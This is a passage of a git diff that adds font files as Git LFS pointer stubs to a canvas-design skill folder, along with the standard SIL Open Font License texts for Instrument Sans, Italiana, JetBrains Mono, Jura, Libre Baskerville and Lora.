https://git-lfs.github.com/spec/v1 +oid sha256:b8d294e9b5c5a0940f167c3ced0f7ef2e3f57082ca3ff096ef30e86e26c1c159 +size 161000 diff --git a/skills/canvas-design/canvas-fonts/IBMPlexSerif-BoldItalic.ttf b/skills/canvas-design/canvas-fonts/IBMPlexSerif-BoldItalic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..68631bdce3b761146e3daad0e8d36a097765559a --- /dev/null +++ b/skills/canvas-design/canvas-fonts/IBMPlexSerif-BoldItalic.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:da64b75f4284f53e7b5c71fa190a35b8bf3494fe19f1804c81c3a53340bca570 +size 169840 diff --git a/skills/canvas-design/canvas-fonts/IBMPlexSerif-Italic.ttf b/skills/canvas-design/canvas-fonts/IBMPlexSerif-Italic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..cf2fa7b378728f3887b8fafb619fdca484c7551f --- /dev/null +++ b/skills/canvas-design/canvas-fonts/IBMPlexSerif-Italic.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b11f1048745e715a55c9d837b3f10226ca3d78867b7db7251ddad8f98dcf0f38 +size 170004 diff --git a/skills/canvas-design/canvas-fonts/IBMPlexSerif-Regular.ttf b/skills/canvas-design/canvas-fonts/IBMPlexSerif-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..7a38e973a666bafa281f96a1f751b1f52cc8b2ff --- /dev/null +++ b/skills/canvas-design/canvas-fonts/IBMPlexSerif-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:77cd233a2af8dc6b1022faea3bb3b01f3c75af68bcf530cb6aeb15982ff3dbb7 +size 160380 diff --git a/skills/canvas-design/canvas-fonts/InstrumentSans-Bold.ttf b/skills/canvas-design/canvas-fonts/InstrumentSans-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..83b35552cddec85027e1a202e927f8434d650d84 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/InstrumentSans-Bold.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:444f85bf1c4b0e1ce1ca624f6be54bcd832207714ccaf4ea99ee531341683bdf +size 68084 diff --git a/skills/canvas-design/canvas-fonts/InstrumentSans-BoldItalic.ttf b/skills/canvas-design/canvas-fonts/InstrumentSans-BoldItalic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..0796618af8e7b6f947a68091686aaae96a35ac65 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/InstrumentSans-BoldItalic.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3762f6cef95d6039489ad5ba5787d4c30f17a1ad01e9ac3c816ed69692722a68 +size 70004 diff --git a/skills/canvas-design/canvas-fonts/InstrumentSans-Italic.ttf b/skills/canvas-design/canvas-fonts/InstrumentSans-Italic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..808997e0967c2872d40201ca23cadf4708e247fb --- /dev/null +++ b/skills/canvas-design/canvas-fonts/InstrumentSans-Italic.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:78e85858e371b2cb4e18f617c10f0f937c0e12a0887ffee98555b24ed305b3a7 +size 69900 diff --git a/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt b/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..4bb99142f612dfaa0053377934b47e466800b20e --- /dev/null +++ b/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2022 The Instrument Sans Project Authors (https://github.com/Instrument/instrument-sans) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/InstrumentSans-Regular.ttf b/skills/canvas-design/canvas-fonts/InstrumentSans-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..e064d45855e1dce5493785c8d171412d8d646511 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/InstrumentSans-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a22cb26e48fd79bcb01bf2fc92d36785474dce36d9c544ab0a8868c2657c4a87 +size 68028 diff --git a/skills/canvas-design/canvas-fonts/InstrumentSerif-Italic.ttf b/skills/canvas-design/canvas-fonts/InstrumentSerif-Italic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..9b2c6bff7d4f6dbf87fba4072cfc22ce752b9616 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/InstrumentSerif-Italic.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9c86e4d5a47b50224a2463a9eca8535835257c8e85c470c2c6b454b1af6f046e +size 70868 diff --git a/skills/canvas-design/canvas-fonts/InstrumentSerif-Regular.ttf b/skills/canvas-design/canvas-fonts/InstrumentSerif-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..ec7ba75ab6e49acd57c444fbab1b6998f20ba8f8 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/InstrumentSerif-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:56ac3be03ac3ba283196b3e77850ab2ffcf56cfb6fd3212c5620109a972f8c99 +size 69312 diff --git a/skills/canvas-design/canvas-fonts/Italiana-OFL.txt b/skills/canvas-design/canvas-fonts/Italiana-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..ba8af215bb486cc7f3f9acfa5df895d5ba2d89ae --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Italiana-OFL.txt @@ -0,0 +1,93 @@ +Copyright (c) 2011, Santiago Orozco (hi@typemade.mx), with Reserved Font Name "Italiana". + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Italiana-Regular.ttf b/skills/canvas-design/canvas-fonts/Italiana-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..7c7935c0c0c0978191f3e6dcf136e7ba25daa3a5 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Italiana-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:15c4dd6ab8cf4a29ba8826f65edcbe2f6c266c557d34d081f25072dfd5605fd2 +size 27184 diff --git a/skills/canvas-design/canvas-fonts/JetBrainsMono-Bold.ttf b/skills/canvas-design/canvas-fonts/JetBrainsMono-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..9cc6aecad56afe8f37a1ef7f1b63b06cf2ca2a75 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/JetBrainsMono-Bold.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a2349098b9e45419e7bf0e2958d6c4937a049dded37387b08be725be4c7615f3 +size 114828 diff --git a/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt b/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..5ceee0025da23d2cd5fd14b28569708a8db4db2b --- /dev/null +++ b/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/JetBrainsMono-Regular.ttf b/skills/canvas-design/canvas-fonts/JetBrainsMono-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..d1ca9b2b496cd023919e6932b5402cdf2ea97011 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/JetBrainsMono-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b6b1ff4ddefe36d7f2a6174e1d001cab374e594519ee9049af028d577b64c5f5 +size 114904 diff --git a/skills/canvas-design/canvas-fonts/Jura-Light.ttf b/skills/canvas-design/canvas-fonts/Jura-Light.ttf new file mode 100644 index 0000000000000000000000000000000000000000..d413d4dd2449f22d0bc4c21d1fd8a6f3ffff2100 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Jura-Light.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c891a381df056b2c4dfe85841e911bf45da0890fa21a7b2692cbe5ea1f505e1e +size 154308 diff --git a/skills/canvas-design/canvas-fonts/Jura-Medium.ttf b/skills/canvas-design/canvas-fonts/Jura-Medium.ttf new file mode 100644 index 0000000000000000000000000000000000000000..a964c82494ad054dcd2e3c379ea29a8e98803208 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Jura-Medium.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c72965cb732a92872643819fd1734128238583cc36b116313859137a51d3368a +size 154488 diff --git a/skills/canvas-design/canvas-fonts/Jura-OFL.txt b/skills/canvas-design/canvas-fonts/Jura-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..64ad4c67d29fb44d037a400881c3c7a3d227cacf --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Jura-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2019 The Jura Project Authors (https://github.com/ossobuffo/jura) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt b/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..8c531fa56848a48577f9aa3b3e8051f3682e87f4 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2012 The Libre Baskerville Project Authors (https://github.com/impallari/Libre-Baskerville) with Reserved Font Name Libre Baskerville. + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/LibreBaskerville-Regular.ttf b/skills/canvas-design/canvas-fonts/LibreBaskerville-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..b7280523303f1edb02a648f8bcac473d6a8c9cec --- /dev/null +++ b/skills/canvas-design/canvas-fonts/LibreBaskerville-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2101302538d9e88adb679031c04623e4578b5745e89566284fd2c508d79acae0 +size 147584 diff --git a/skills/canvas-design/canvas-fonts/Lora-Bold.ttf b/skills/canvas-design/canvas-fonts/Lora-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..9905d34e0fbd4f70defb666edf6e7044b5b614fc --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Lora-Bold.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7d74015e950c2fb66519c7295b8155621d22200ae2ca2a4c6b43ce3c490cac87 +size 133828 diff --git a/skills/canvas-design/canvas-fonts/Lora-BoldItalic.ttf b/skills/canvas-design/canvas-fonts/Lora-BoldItalic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..fe500d75fcbc94e7a97f354823e987d8adedbcbe --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Lora-BoldItalic.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:152f87e71f5ddb60d5c57ecd9132807c947e65c42977193c9164e7c5a6690081 +size 140332 diff --git a/skills/canvas-design/canvas-fonts/Lora-Italic.ttf b/skills/canvas-design/canvas-fonts/Lora-Italic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..72dde22031084ac06f1c6a75a08d5c6199a65d35 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Lora-Italic.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:be627e595184e8afe521f08da0607eee613f1997d423bc8dadc5798995581377 +size 139328 diff --git a/skills/canvas-design/canvas-fonts/Lora-OFL.txt b/skills/canvas-design/canvas-fonts/Lora-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..4cf1b950d308edaee72401989e45410ea99e76a4 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Lora-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2011 The Lora Project Authors (https://github.com/cyrealtype/Lora-Cyrillic), with Reserved Font Name "Lora". + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + 